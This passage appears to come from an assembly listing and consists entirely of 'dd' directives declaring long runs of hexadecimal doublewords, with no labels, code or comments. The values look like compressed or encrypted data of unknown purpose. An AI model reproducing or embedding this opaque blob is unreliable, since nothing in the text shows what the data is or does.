7E165AD1h, 0F7083103h dd 6D9605D1h, 802B3AD6h, 320CF550h, 0D97801EEh, 5B08C150h dd 59CE2912h, 4168A480h, 17989F2Bh, 0F6583467h, 26CF0E96h dd 0BE73DE16h, 0E39B0B14h, 0B3C45866h, 3049BBFCh, 67F20254h dd 0D8C5FA73h, 0C8892625h, 0BDDF1A2Ah, 0E807D4E3h, 6DCB1081h dd 0B85F643h, 0C0AEE90Dh, 36184EE8h, 51594416h, 48893EF1h dd 1D447BB2h, 32FEB9FAh, 31380616h, 0D0E92A20h, 2C40BAD4h dd 8035FF8h, 5F26FEAFh, 8CA9AADh, 6C029D85h, 804B0521h dd 0FADE96C8h, 0E1E919B4h, 0DFE239FCh, 68021BDAh, 0E42F4B60h dd 89A730E8h, 0D7207CF0h, 0FEBB094Bh, 23784603h, 18EFCB5Ch dd 0C0C2E19h, 74280501h, 80EBC14Bh, 0D6FBF319h, 0C21FDF2Dh dd 0C9E4DC1Bh, 518FBAF9h, 584E2168h, 9947596Fh, 0B8890F5Ch dd 2AA3A11Dh, 2A90EC63h, 0F017E9C4h, 487ABFE2h, 5212F51Eh dd 5355E8D2h, 5E285A9Fh, 220E24E9h, 0B51935Ch, 2FA14970h dd 0D2138BBAh, 19E07360h, 4790BC7h, 54C701E5h, 5B0428E4h dd 526A8805h, 54266800h, 7FE90A64h, 8916DEE1h, 0F6C67C34h dd 4CC01A09h, 0C861045Ch, 4801E2h, 0F920272Fh, 7DE36A72h dd 8E8C112h, 57BF1501h, 36A87331h, 95EE928Fh, 5F595C89h dd 0D6B6AC00h, 24E98972h, 12B0415Dh, 0B2590707h, 711F552h dd 8023A282h, 0E9F12119h, 9430AD2Fh, 3B659B04h, 896BB17Dh dd 9C4617D5h, 5B580B0h, 8CB5973h, 7DF8EC4h, 2D745452h dd 264967B8h, 96EC89Eh, 0C88A5A1Dh, 5197CE69h, 53B94CC2h dd 415989FAh, 8F142300h, 12FF520h, 883645C8h, 580268CAh dd 78C0B60Fh, 20877DF5h, 0BD4FB8ECh, 4443CCC8h, 0CB98CE54h dd 9FDC2C4Ah, 0AD02B521h, 0BF0015A9h, 7AB34461h, 0DBDA6732h dd 5E716250h, 5FF93100h, 0CEBD0755h, 9ABA288Dh, 4F290AD6h dd 711F098Eh, 1C2A7653h, 0CC479B25h, 0E9C512CAh, 1104540Dh dd 0C74E8603h, 6E0C101h, 0A817E181h, 9104BC32h, 0F98C2831h dd 0BFEECB52h, 402F98D9h, 2E6C154Ch, 3AF70BC9h, 0D832981h dd 342149E9h, 3358611Ch, 0F609DE8Bh, 846ED95Eh, 0C1A57D6Dh dd 8B67F985h, 3B39D535h, 0D47E10F0h, 0B73B60BCh, 50EF8018h dd 965FD0AEh, 206BEF2Eh, 68F0DEC2h, 0E94CB895h, 3CE8BA90h dd 4FFA2DADh, 0EA8C8096h, 3A5CA47Fh, 6A410742h, 626F186Eh dd 0D4F28E5Dh, 0A1C525B0h, 7D2BA62Ch, 2B47E905h, 5A12BECh dd 0E5A259CAh, 0AB163E36h, 40F72392h, 0B701DEB1h, 0EF3A992h dd 129C923Fh, 0A25FA862h, 7A73A028h, 5514CBA5h, 15A4E5D1h dd 0A7639802h, 0A68A800Bh, 7473C716h, 0C95A5EE9h, 0EA613192h dd 51196807h, 0AA3AA024h, 808FCA95h, 97438426h, 0D9F72615h dd 14041622h, 0F350B0D2h, 0C17602Fh, 4E5B613Bh, 0A0CDD90h dd 0C681A7Ch, 1F482665h, 0C53009E2h, 94954244h, 68500B41h dd 0E11A4876h, 423B3E60h, 82A5F596h, 2D61E8h, 0D786EF88h dd 0E41E2C8h, 12FED05Bh dd 4534524Bh, 0B869EC2Ah, 61A3C05Dh, 9BA51EAh, 0CEF20998h dd 3DB80901h, 0F9C0215Fh, 0E3938146h, 6699EB80h, 10481132h dd 0CDF2DC8Eh, 542E0063h, 27582650h, 135B0513h, 858008CBh dd 3E192A5Eh, 13F8331h, 4279E383h, 1E263D11h, 57283324h dd 0F68AD95Bh, 0CBD70C50h, 0D13AADC5h, 5AF74C8h, 2D6F3F00h dd 2C116EF8h, 7574BE9h, 72D18838h, 3F59C7ACh, 68565180h dd 499C0C7Ah, 9E4A464Bh, 0B4680910h, 4475F16Ch, 89EDF95Fh dd 590E61FCh, 0A5E7CE65h, 5266CA90h, 28371DB6h, 7BAEAFF3h dd 35A47192h, 6FBC2519h, 6AC11600h, 0F316E317h, 8AE9C2DBh dd 0E7262408h, 52E0DC72h, 0F0149F82h, 5E793C8h, 879D01F0h dd 71F1B850h, 92703067h, 3322BF53h, 6801B5EBh, 9D8D2CAFh dd 0ECCBE77Eh, 0AF956780h, 0F9A0172Dh, 8135C0D1h, 7113FDCEh dd 392C497Bh, 9A445F52h, 8080BE95h, 0A74608Eh, 31CE683Bh dd 0D9046FADh, 0D459986Ch, 25E10F19h, 0F17849FCh, 0C210FFE3h dd 5D006232h, 68555357h, 4A7C7C33h, 0DE0005B6h, 0C1521F22h dd 13075CE5h, 0D5D9FD09h, 0F61F14Ah, 0CBC587CAh, 65B45060h dd 5FC2E480h, 184B60E7h, 36B76219h, 0F63BFCF9h, 13BCF74Ch dd 25A36EBAh, 8B5FBC64h, 75294B58h, 5FC9816Ch, 6A020838h dd 0BD83768Ah, 80CFB52Ch, 7472CDB9h, 0CF58290Dh, 6000B5F1h dd 2AC36BA9h, 3EF30C1h, 0E15FEE12h, 102F394Ch, 7549307Eh dd 4AB8B070h, 8F0B8054h, 0EDECABFFh, 0E9D6A2BFh, 0D56581Dh dd 0E828CEB5h, 99897D75h, 392F52F8h, 0F526AF5h, 0C75A4D09h dd 1662A48Dh, 311CA32Fh, 14BD112Ah, 9CBF1E20h, 6CA48BB3h dd 4329C2CCh, 0CA259E57h, 12A68BBDh, 2C845823h, 93505285h dd 0C7310450h, 7E37C863h, 879975BAh, 6029368h, 0DE022B1Ah dd 0C3E909A9h, 805BD925h, 16619D42h, 2C404630h, 0ED143524h dd 27E91960h, 9A4D80Ah, 1FE65602h, 5A28109Fh, 0B4A809C4h dd 326AD716h, 67DA3066h, 3784C94Eh, 4B7D898Ah, 0EBEDD2F0h dd 0D6902579h, 7D7E6803h, 0ED275D34h, 76E76E50h, 0FE14BFC0h dd 92175C5Ch, 0E5CCB9D9h, 66962FE9h, 6CF8964h, 41796B08h dd 8058597Dh, 4FDD2568h, 0BA202DE6h, 0B649029h, 19EF151Ah dd 0FC3934F0h, 0F02193E0h, 9A4567C8h, 0FE8B9FB8h, 0E91626ECh dd 0BFB2669Eh, 32B37D86h, 0D0F0B29Fh, 4C772F51h, 9DD2D8A9h dd 0BBE64135h, 0D2FD2224h, 42058305h, 792CA331h, 0E0E90BA0h dd 848BE25Dh, 82B34B68h, 5D6BE91Ah, 5953BE55h, 583781A8h dd 0AB769667h, 1C6EBF07h, 1EA25271h, 0A3BD00C8h, 0B6A0372Bh dd 638A01EDh, 268B049h, 5B989745h, 0C806D45Eh, 37A3E9A6h dd 0F8C8AEFFh, 405294FEh, 7C4E56BBh, 0EBC15C09h, 752E0006h dd 0D05FCE4Bh, 0B827F712h, 0F2053384h, 0F001C48Ah, 0ADEE2216h dd 0F8778D52h, 6895CEF0h, 3EAC1A7h, 0F2814A05h, 6DA0FCC8h dd 5A5CD189h, 2D6248C8h, 5DE30186h, 8EB9EEC1h, 56535287h dd 6FE8F35Eh, 0F66D309h, 3F9911A3h, 48D14124h, 9242D5E2h dd 83E9674h, 680E1D77h, 5B8D5322h, 41988B0Ch, 20C1E4B4h dd 0BDF458E4h, 3097B892h, 98835B7Eh, 1C515CAAh, 0C6104F94h dd 0DA871C43h, 0E4D1D797h, 4F6965D1h, 0FB4EEC07h, 0B0D4B463h dd 5B4B5887h, 7074458Bh, 0E9F00BB0h, 103322h, 0DB181B82h dd 88CC2D02h, 5FE9126Ch, 0E0D04210h, 0CD805708h, 22805801h dd 0A7FEBF00h, 0F731DD7Fh, 2F92B75Eh, 3197F494h, 0DD73DDF0h dd 1DA06882h, 0E90BE6CCh, 2C018216h, 17290338h, 4CB89D9h dd 88FFEB9Ah, 0CBA8DB22h, 0A90EF181h, 0C144665Bh, 4D4F62E1h dd 0BFDA2870h, 6EB5F180h, 0FEF6E580h, 0EDC0CD0Fh, 0D5F50705h dd 0B60BE805h, 455C4294h, 0ECCC2771h, 9E9C80Bh, 49B36AFEh dd 0FB2C8218h, 0B5905A27h, 1783F594h, 0CD4F8386h, 7A23FDC7h dd 0C0B3CC13h, 5BBFFF50h, 6856292Fh, 60BD0209h, 572974E4h dd 478F2122h, 0E0824CAh, 39C23CBAh, 5B0B13FBh, 16865E54h dd 0A72952ECh, 0E9C4B56Ch, 0F1CC97E5h, 0E4162CA5h, 1ABF72A6h dd 0A3E7343h, 4EC22CA4h, 126C7AC3h, 0A845B3D9h, 0F527A65Dh dd 0C1C068DEh, 250A00B8h, 86BD551Fh, 7A0C9631h, 793CE4E9h dd 4A69EEFFh, 4B9B8A3Ah, 80D98001h, 0C7CC03CFh, 0FE73A5h dd 0F6ABB652h, 4E6C0D6h, 0CC41D9FBh, 0E91014EEh, 51075395h dd 1EB6A5B1h, 6659CE00h, 0F85B8850h, 3B5ED383h, 38125BF9h dd 7E5BF235h, 47AED570h, 6801C194h, 58B96EAFh, 0A4A63770h dd 4CC60B87h, 0A0F2C2BDh, 121E2948h, 0DD2042AEh, 0BD2422A6h dd 0DA2C886h, 723505B4h, 375384C7h, 960A59B0h, 504259A5h dd 8FC93802h, 6930F65Bh, 0E6E1F766h, 0FCD2568h, 0A606CB39h dd 80A91C63h, 66AA2D44h, 0AFB453FFh, 97014F81h, 5D6E2D5Eh dd 46234000h, 0D9E9778Fh, 1E2899Fh, 2CBD043Bh, 0BEC4DC88h dd 0F7F38703h, 14085ED6h, 224CFC93h, 415BDF1Dh, 0CBE95FFDh dd 0E2995532h, 7C4E7BC3h, 0FC551DC2h, 699CC2AAh, 5B625607h dd 0CFD5DC23h, 0F9B8B944h, 44884E74h, 5AF8A875h, 5EF12401h dd 0F94549C8h, 71A73A27h, 0B9714953h, 2B880965h, 80AF6250h dd 60FCD821h, 4DB0F42h, 292CC66h, 2BED618Ah, 0B3C5EF04h dd 5AF0AC00h, 0FE511B04h, 5CFD4D8Fh, 0D2585410h, 0F1B0DBA8h dd 0A12F79D4h, 0CED70C2Dh, 432626E2h, 927210A7h, 572771CEh dd 2F96BB94h, 0B0FE6809h, 0AC0B85Ch, 48285143h, 895712D6h dd 8B563DD6h, 77E72F1h, 0B319A2CDh, 0D3F56026h, 4F5E0A3Fh dd 56E98BC0h, 55BAAA16h, 1852A632h, 0D5885116h, 1455F1Eh dd 0ECD4F3E9h, 2092DAB7h, 11E95769h, 2E4F6D40h, 900E781h dd 9A82462Ch, 9046AF0Eh, 4BCE6815h, 2B502476h, 0BF6D413Dh dd 8669A9E4h, 31258C6h, 0D5A47DBh, 0B61D92Dh, 48E3E91Dh dd 0A089536Bh, 0A77E699Bh, 0F8893625h, 30AFE695h, 0C2B43731h dd 35041774h, 63106851h, 621622A3h, 682D88DCh, 61AA8E70h dd 5BF91CBBh, 0C6B82831h, 501D21A5h, 0AC1887D8h, 91420AF5h dd 2ACD2A4h, 7BD72275h, 12445FEh, 0F78C691Ch, 97F8F523h dd 13D3EC94h, 0DDC0FB12h, 0BB2D58h, 0C1792A26h, 354003E8h dd 20180105h, 0A3C4894Eh, 373D1DC0h, 97A13D7h, 0DABD04E9h dd 0FA29056Ch, 554A8701h, 0EAD8109Bh, 0CF4F283Bh, 0D04D4CD5h dd 5FBEEE80h, 8CF62617h, 0DA714349h, 0BB965F97h, 265ED20h dd 9B27BAB9h, 8B81810Fh, 3029A14Bh, 827BE1E7h, 2572DD3Eh dd 0B248A1Eh, 0F4AA68C3h, 4BC4BFF8h, 9CA81212h, 28AD109Fh dd 0F73AAC66h, 12C7CE47h, 48CC4AE3h, 81C0F91Ch, 6C471FEDh dd 23A53F4Bh, 0D5BD0804h, 37FC9018h, 710970CFh, 4DBF744h dd 30B7EAC1h, 0B124EB4Ch, 663FB269h, 2801EDDCh, 12C5AD0h dd 0E904C8D4h, 13B353F4h, 4BBEE92Fh, 0A9275BF7h, 47713914h dd 23102EACh, 254B5D28h, 102925DAh, 0C774FA09h, 7105CC42h dd 4F92065h, 5E337DA1h, 640CA268h, 0D3815D2Ch, 5901D22Fh dd 0B7712B53h, 163FEB83h, 489F30Eh, 27023F6Ah, 0C302A0E1h dd 37995531h, 0F4D21783h, 151C5D68h, 52002191h, 972AD0BAh dd 0F44A4A05h, 709C2A3h, 7E43DA09h, 0F16108FCh, 0E580451Fh dd 7A79341Fh, 0DA53FF4Dh, 8361CA20h, 2D73C0h, 35D4C273h dd 0D1215E7Ch, 0E1C15A02h, 98BF5706h, 4889CF83h, 0D120EF9h dd 370FD62h, 0D99F91EAh, 0E86EE28Ah, 149BAC1h, 310FC0E1h dd 65895AD6h, 0B5386C62h dd 50840EBDh, 0D90992C3h, 0FE3DC86h, 0EE01C579h, 0F746585Dh dd 1CFC4EDEh, 0EDBFC056h, 0FC27D4B6h, 395F1090h, 585166D8h dd 0D40E4253h, 81402A4Ch, 0FE057CE6h, 94C4969h, 2D0F707Ch dd 8C14C131h, 2ACD8927h, 0E4A5D6E6h, 0E95A138Ah, 0EB7C5F29h dd 18A5BF6Ch, 9DBD1EC0h, 5968420Bh, 17BC8431h, 5EDD09AEh dd 0ECBB6489h, 8BE2DAFFh, 0AC864F66h, 26FA07D7h, 68040C96h dd 258F780Fh, 0C9D67313h, 501D31C4h, 0AB6858FDh, 541698B7h dd 9D514B5Eh, 0B46F6C60h, 0B2FE1149h, 0A222555Ch, 5EEA51BFh dd 5E4D6F44h, 109F946Ah, 3842F7F4h, 0EF22CF20h, 40681202h dd 0F4E6AC65h, 6A2A4BEBh, 535B9DD8h, 23F87DDh, 32AEE9D1h dd 0C688B8F9h, 555E0BAAh, 0ED42A116h, 1F9DE90Ch, 9CB8DF9Dh dd 6DC61DEEh, 9003FFBBh, 7C735F3h, 102204A9h, 97051662h dd 0B85F260Bh, 2D67D008h, 89096965h, 7190561Ch, 2AC289EFh dd 5908900Dh, 955C7364h, 18020141h, 3EDE25E9h, 0EF25CCDAh dd 7AE520D7h, 907EAB6Eh, 5E2701D3h, 0E9561B22h, 4C27451h dd 920E2172h, 802CD828h, 9EB45053h, 0E9BF09B7h, 2272379Fh dd 7360C907h, 5EC46CAFh, 0F804E94h, 619F7E4Ch, 38DCA465h dd 4D003E54h, 7BF3B724h, 0BB09489h, 2A4E3768h, 4B9C837Ch dd 71BF5C49h, 692D3F5Fh, 98141F5Dh, 0B64BABCAh, 2A744A7Bh dd 3BA91483h, 8D1249C6h, 0D06CF202h, 0B0209606h, 974C9768h dd 0E14B6EC6h, 0E5646D34h, 8B404EE3h, 505518D0h, 61520C38h dd 332D5E24h, 81A3434h, 5B14050Ch, 85C51BA8h, 61DB83C8h dd 815DBB03h, 7C757CC6h, 0C5367702h, 83F40418h, 59A02C9Ch dd 995C330h, 8762059Bh, 94F68A88h, 6FC921E9h, 0A24220C4h dd 685700A6h, 70F249A3h, 0BE4F605Fh, 30C566DEh, 1856C149h dd 0EA4FDA9Dh, 2D4D0B29h, 16505B63h, 144FFBCh, 794AA8BCh dd 0B92A89FEh, 3773A0F0h, 0BD529173h, 4EF65430h, 274B7512h dd 8E50BFB3h, 0DD7C136Ah, 6C5BC63h, 1AE905E6h, 0EB283B79h dd 0A31EAC96h, 0E9548F96h, 5B9EA475h, 66AD3CABh, 0B544D34Bh dd 8F1EA89Bh, 809FF658h, 0E2B25251h, 0A04CF280h, 1CE5D2E5h dd 15F60A40h, 4B5F039Fh, 1609F381h, 0E9130E7Dh, 58B4D3CFh dd 67A512D2h, 1775F03Eh, 631AEF6Bh, 5041C2D2h, 0C0DF9CBFh dd 75C09D7h, 5153119Fh, 943FCA3Eh, 6961146Bh, 2050CF85h dd 4F6441FEh, 0FA6530E9h, 52A6F697h, 295E830Eh, 0C2407EF2h dd 21BC1D54h, 0E5EA7801h, 63680840h, 8236B141h, 0BB27E957h dd 0B96D8156h, 2CD44130h, 523E957Fh, 8DD5FFE1h, 0A73BE91Dh dd 5237722Ah, 395C7BC2h, 87D1F700h, 70F581CDh, 44392E89h dd 0C0DEB9BFh, 331FCC48h, 775A343Eh, 6F9612C1h, 0EBFC4703h dd 0C40B028Dh, 23DC6827h, 429D44AAh, 0F846ED9Ch, 0A75A99F0h dd 296B3E8Dh, 8B472DF9h, 8E53F123h, 0D80EAF2Ch, 0E000AAB7h dd 93F78035h, 38CF75FEh, 0F805E9EFh, 0B823045Bh, 81C88BDh dd 0C5241D4Dh, 5AC9F91Ch, 95CF0055h, 9843786Eh, 169D0026h dd 0FA89EE1Eh, 384C77E9h, 72F0D65Eh, 0D8A24F68h, 1B0321AEh dd 0B7E969F1h, 1C3785Ah, 62DB1A44h, 3A59C829h, 57A584C1h dd 0B842BA00h, 970C424h, 0A4748238h, 8CA295Ch, 2FDA2C08h dd 69C57A09h, 2F831B25h, 0D5E745A8h, 0BEAD9625h, 43E9500Dh dd 3074E49h, 8E7C1DFh, 2F4D9881h, 0C8694ACEh, 0BC90F344h dd 0FD301672h, 30AC321Ah, 0A0514AD8h, 9697886Fh, 0E1801C07h dd 9BC1C366h, 16FEBDE9h, 2328882Dh, 5FB79DE7h, 53D1CAEAh dd 685500D8h, 392335AEh, 929759E9h, 48D08A4Eh, 512E041Ah dd 20EB7854h, 6C20BDDFh, 2924B973h, 0C80A6FE8h, 0E1A70B55h dd 2FA4EB32h, 922922C4h, 83FACB0Eh, 77DC15E2h, 58710735h dd 9D2F5380h, 0DA82216Ch, 0EAB8A325h, 2FC3907Ch, 0D866567Eh dd 0C5F04A20h, 0F3225D1Ch, 0D4C001F9h, 0F129B9DAh, 21C90922h dd 0B1E9340Bh, 2811F6BEh, 2D2E34D5h, 0DA185462h, 13448C2h dd 7F9106ACh, 9B75D9E9h, 0ADB9642Fh, 5D31847Ch, 5E898EB8h dd 0FE095325h, 9CE9C20Eh, 962F64A7h, 6BFC2E2h, 0C83A3F0Ah dd 74304844h, 0D6AC0307h, 567C577Ch, 736C178Fh, 0CBB90917h dd 0CD807051h, 0F77ADF66h, 90DBE4D3h, 67C307E9h, 60603F12h dd 8B35F3CBh, 0A2E95809h, 0C61F2746h, 0DE874E81h, 1F0838B5h dd 0CF992403h, 0ACC6F82Ah, 210F08CFh, 0D032424h, 0D97EFA31h dd 8825157Bh, 9F496CD8h, 0E199C22h, 34EB8001h, 73F7CBCCh dd 48F0A2FEh, 12B9BFEFh, 4E3DC009h, 72D1B4h, 5E4864BFh dd 18C0471Bh, 0AAB85008h, 655C0062h, 0F445A905h, 0E1163557h dd 1DBA6A3Ch, 0CF49C013h, 0C701A239h, 0B3BDF9A5h, 0E48AC4FEh dd 40C008F9h, 74B29C05h, 9F35F200h, 1625C12h, 13584AC5h dd 0B04475FAh, 0A441B155h, 0A8D32B28h, 0B85CA284h, 24689746h dd 697209BCh, 1E7A3D60h, 81528300h, 74CF75EEh, 0F38924E1h dd 85E9857Ah, 0DD31AB3Eh, 1A2D61A8h, 0EB665CC4h, 0F5FE223h dd 66C05A5h, 7D2CFDB2h, 0EC178825h, 0B454FE45h, 109D6204h dd 1D286009h, 1A44B5B2h, 19F1862Fh, 0BC36B8D3h, 5973AD05h dd 10C5130Dh, 0E9090834h, 102C3398h, 2238EEF0h, 1DAF4026h dd 8F618514h, 20E6DCE6h, 0B901184Eh, 89DEFFF2h, 3D205EF0h dd 0BD1202E4h, 1114E97Ah, 0F588B151h, 0F85C13B5h, 0F60BB297h dd 28F0EF3h, 0D1A3D2E6h, 4B50D558h, 0C61FCE1Fh, 4472EB29h dd 0FA082138h, 0B480CB3Eh, 4D265C7h, 0C8685946h, 466D95Dh dd 0B7C1800Eh, 0E9908761h, 23F4C328h, 6BB7404Ch, 568D8B87h dd 0F3B43D17h, 67F7C014h, 9BF4F828h, 5A12F6B6h, 0BAA05FECh dd 504C4E7Bh, 58EA04D4h, 12C24023h, 9009D0DAh, 15763F73h dd 77704F2Dh, 245EA898h, 2330E78Dh, 0F64E82D1h, 0A23CA92Eh dd 0EBAEE54Eh, 0D9273B8h, 810F809h, 0FA9CDF92h, 0EF0A5313h dd 0BAA5D3E3h, 52A3FEC9h, 0E6853C60h, 0BAF2CC83h, 0D50ECDD2h dd 0BEAA247Dh, 0AE1D5013h, 18F6F100h, 0BD5C8E3Dh, 4DDB2082h dd 0D8D88902h, 0DCA7AAE0h, 0A731C8A6h, 5A54EFE2h, 0B4DDFE46h dd 0E16D970Dh, 299B6A7Dh, 0C722085Dh, 417DEC40h, 8F652DEEh dd 332A45Eh, 0F4128FBh, 84ECB348h, 0FC13A273h, 136A8DA1h dd 1E7D7425h, 2C81CF40h, 1DFBB8C9h, 0FF8EBD78h, 51CBFDEFh dd 2A05896h, 0D3C947EAh, 92EEDCC6h, 8294F85Bh, 0CC2A0CE9h dd 69585989h, 207B8892h, 0D23495D1h, 0F109F694h, 503CA420h dd 0CD4BDEB3h, 5E7C9652h, 10F1A717h, 0F45F612Bh, 206800D7h dd 7C063D49h, 37A96F12h, 587BD249h, 0E94193DEh, 0B7522348h dd 0CB0B5529h, 5D4ADFFAh, 0E98468A2h, 2EF7B17Ah, 844BF7DAh dd 0D294A499h, 9E822C54h, 0F05A140h, 1D6961B5h, 0F7F95049h dd 34305A0Ch, 0D06DA32h, 375E0043h, 3D957B45h, 0DEF79C61h dd 0E6482130h, 0E93B1BBCh, 65ABF3B6h, 0CC8D3D4Ah, 0E3EFBEDh dd 7923BF9Eh, 9BD711D5h, 4B9A7E5Eh, 13E7635h, 2D06E0C1h dd 42D1C83Ch, 3A58E5F7h, 22E90A71h, 414AA26Ch, 3B4F268Fh dd 24BE0032h, 7C1A5C67h, 0C159035Fh, 0BA4808EEh, 4D1277ECh dd 0AA0440A1h, 0DE16EC68h, 7D900469h, 14EA0E54h, 352CA8F2h dd 64424E39h, 9CE04BB1h, 4F2D73E2h, 622A0BFDh, 0D2516008h dd 164E3349h, 94C48DFh, 1BC82C4Ah, 95651A5h, 55F6A0C3h dd 5B3BA482h, 121F7637h, 0F9A91B43h, 0E71F6E02h, 62894E8Bh dd 62830059h, 791E6367h dd 94E92929h, 2CA13ADh, 0AB706512h, 160BA974h, 0E98E5EA9h dd 0CB6384h, 95F5957h, 15299F4Fh, 59E92887h, 4BCF67D6h dd 9A5BDCh, 6CFA2A02h, 130BF381h, 8A417842h, 0EA0119F2h dd 31D27D97h, 0D8D40A3Eh, 0A1D8493Fh, 3F45B09Ch, 31AD8440h dd 9D6852D8h, 393F497Ch, 84FB4D2Bh, 0B610FE6Eh, 94321803h dd 82E3483Bh, 0EB97409Dh, 6B6916D4h, 32960CC0h, 582101FAh dd 0F60E05DEh, 102B0620h, 15E7A85h, 7873A0A6h, 0A008614Fh dd 68170834h, 3C8C098Eh, 0CE670799h, 0F003C75Ah, 1A53198h dd 3C8B3B13h, 5B27FAF6h, 0C6ADF8EFh, 5F540221h, 6010E951h dd 0EA827E71h, 7D4E3C69h, 0A6660600h, 0CE778142h, 355ADBF8h dd 6752A14h, 91528FA4h, 0AB074C12h, 204F8904h, 0E837EF7Eh dd 6040834Ah, 585E834h, 0B8E9F531h, 802AF8F4h, 2D36DF35h dd 0BACB83Fh, 65A23714h, 854B4AEh, 10A2582Fh, 6801D9EBh dd 312B1927h, 3E9F52C3h, 0B342849Dh, 0D6F2C602h, 2198B5F3h dd 5A562CBEh, 99557E3Ch, 2D769D0Eh, 7A92D151h, 0E920CCC5h dd 0C0F3ED80h, 0EF04BE06h, 2C74E828h, 5214B09Bh, 178112BDh dd 3D3FD99Dh, 0BB933044h, 4A5F2784h, 0F7261DC4h, 0E33375D8h dd 0EC992587h, 0AB3A730Ch, 9EC32684h, 64BE9DA7h, 59546273h dd 0E9E192D1h, 0CC2CC6BAh, 7782558Bh, 0DD761843h, 0CFF4CA51h dd 55199FEAh, 0DCCE7C24h, 3B48F250h, 0C32450h, 4CBC8C7Ch dd 685BD829h, 0C6266E25h, 516D618Dh, 3156C301h, 42002A90h dd 1A79B0BBh, 40CDF40Dh, 210A5E58h, 0E0455AD5h, 68155004h dd 0E9EA27C1h, 1A56CC45h, 0B1EDAFC9h, 4E5FD2F6h, 0C00B9814h dd 0F60B78B8h, 3C280D2h, 9B3CC2Dh, 7C5BD47Dh, 76F3F901h dd 0E903C042h, 4597914Bh, 609630B0h, 40F7F607h, 534F513Ch dd 0E75885E2h, 0A7746B14h, 8D399217h, 55377B01h, 570623F2h dd 7890A2BAh, 6695E0D1h, 5A595D9Fh, 1851D28Fh, 0C19B9DC6h dd 0BE6916C5h, 0FDB9F557h, 0BE0E7BA6h, 383002BDh, 9CEDC3Eh dd 9D5AD5F7h, 0E7DCD05h, 0AE001593h, 0E264F185h, 94B89801h dd 0BF7BE1Fh, 7B5E74A5h, 0BF579F02h, 7E8A088Bh, 539200C6h dd 0D5E969DEh, 0BE9C3C5Bh, 0C6E1F858h, 54CB0119h, 0F80D2F09h dd 0E1530F41h, 438D2509h, 19C5942Ah, 0E95B4108h, 8F6073C4h dd 32F9C9E9h, 507B49D7h, 71E42161h, 4F294B02h, 35D78B12h dd 0A71BBDBh, 0CC8E5651h, 0A8140C65h, 116AE704h, 306EB191h dd 349A4B91h, 560292A0h, 8160F401h, 667407F1h, 99E97686h dd 52BC92F6h, 215A6861h, 3B037D66h, 810B4477h, 6EA59D01h dd 72E91990h, 89176038h, 0C31CE2D6h, 0F5F0E9DEh, 500223BEh dd 2B2D77C9h, 0D02A0F32h, 0B55D4EBEh, 13136B12h, 40A39C28h dd 205BBA9Ch, 0AE7D19C9h, 94EA4A76h, 0B409EEBAh, 25F72039h dd 0D15EC4h, 0F7842D30h, 0C789A593h, 0CB87583Bh, 40466104h dd 2B04C610h, 8077916Ch, 0E507DB3Bh, 0F50443B0h, 21A87C09h dd 4A3F2C80h, 146AD6DFh, 22C5888h, 874002D2h, 7478AB0Eh dd 9472FFh, 39284F38h, 3FB0CC05h, 0B572C6D7h, 9CAA9AC4h dd 9D9097C6h, 0E8C8B62Fh, 0C55BD2F2h, 0F0C688A0h, 0BC98D778h dd 3B4FC34Dh, 8B40AEC2h, 42C78080h, 0EC5BFC28h, 1179ECh dd 0B753F9E4h, 0C6A7E92Dh, 22166CB5h, 11C42C93h, 33AB1D61h dd 9E7BD80h, 60D24974h, 0E215A9D8h, 0E9460D3Dh, 263BF42h dd 875001CBh, 0B0015E9Ah, 5AF030C7h, 5160602Ch, 0E913E904h dd 57A992DDh, 2DE5E4C0h, 9286F2Dh, 18B55CC2h, 0C9E915E1h dd 68679F63h, 7BFDDC43h, 5E4F7Dh, 6EF0BE89h, 7E9868A9h dd 891D2D5Fh, 0E42EC5C9h, 30309F20h, 56D69BD9h, 1B211E8h dd 23908B58h, 64FD3B01h, 4A05E2C1h, 8E9A903Fh, 23762F17h dd 1218C0F8h, 4CA7F16h, 0D3FF50EEh, 2D275FD9h, 690424A3h dd 7C4C95FEh, 0D89B0273h, 5F89836Ah, 0E9C61B00h, 2397CF49h dd 2C8A582h, 3A0CB80Dh, 0E8605ED0h, 0E7962971h, 92F88269h dd 0F0EC4CDh, 1EC8108Ch, 9609657Eh, 166D2600h, 0E6A07844h dd 0BC0B212Eh, 0A0EEC13Ch, 2FA1D6AFh, 3D279545h, 0DA6591E2h dd 19CC3F2Eh, 9A64024Fh, 5AD78922h, 0FCE98E40h, 81D61648h dd 154B1C9Fh, 0F197C42Eh, 0E3D43E3Fh, 6E94E5C1h, 34FEC4FBh dd 0A30C17E3h, 705EC99Ah, 80CD90E3h, 177FEA72h, 0C279FC78h dd 88DC283h, 0DF4F6F1Ch, 9066FF59h, 0C71F3E00h, 5AC1E966h dd 2999DD54h, 310B4ED5h, 0C1F24A82h, 8F648C08h, 59C32E68h dd 0A4618859h, 47BFE827h, 0DE89829Ah, 6623797Eh, 2B4C8A8Fh dd 0BF0A8602h, 28C51EC7h, 8259B83Ch, 7751ED03h, 104823D2h dd 1606303Ah, 5F72D022h, 0E9450214h, 31473DF6h, 8BCF972Ch dd 81EED6EEh, 4768CE01h, 0C9556C53h, 5A2F24FDh, 41CA6080h dd 94215C38h, 12635A7Eh, 1E22FD91h, 0C4E4F766h, 4D06FB12h dd 1670CCBh, 0A5B1DEBh, 20DD019Ah, 0AD81E4DAh, 0B504D670h dd 8F12BA9Ch, 33C13042h, 0B895457h, 6D207FE9h, 0B652CBFEh dd 0F2304927h, 0BCFAFEC1h, 0DF5A149Ah, 32438A01h, 848E3538h dd 0B981E90Bh, 51C517ACh, 1E63C354h, 68E07D05h, 0E44E6C56h dd 25E817A7h, 0FE4CB5C1h, 80C5C8CDh, 1650F538h, 9F4459EBh dd 7C04048Dh, 86065727h, 0BF749948h, 0E924D01Eh, 0B9852954h dd 0BED17E60h, 0D02B59CDh, 2983C564h, 0AE19AA39h, 688407EEh dd 9EB2543Ah, 0A6E55C73h, 5DE30632h, 56A720FDh, 4B4AD41Fh dd 2439B252h, 923FD029h, 0C80763E7h, 5795F71Ch, 0E27872E1h dd 439D8439h, 3FC38185h, 71729F75h, 0B1B444A3h, 0C32D3B97h dd 0F6140CA7h, 0C427DF98h, 0F5BF9298h, 0FDD09799h, 80CFADDFh dd 0B818C047h, 0EF810329h, 640B06F1h, 11CB0C04h, 0BEBCC5ADh dd 1E0690Eh, 6708FE29h, 51E90408h, 347AFF3h, 74305F2Eh dd 2FBAADBFh, 0C458CAD0h, 0B80B2D38h, 0D8051871h, 7C016720h dd 0E507A3F8h, 77CD1112h, 0A8AE927Bh, 701BF0Ah, 29B7593Fh dd 25685DF0h, 65515572h, 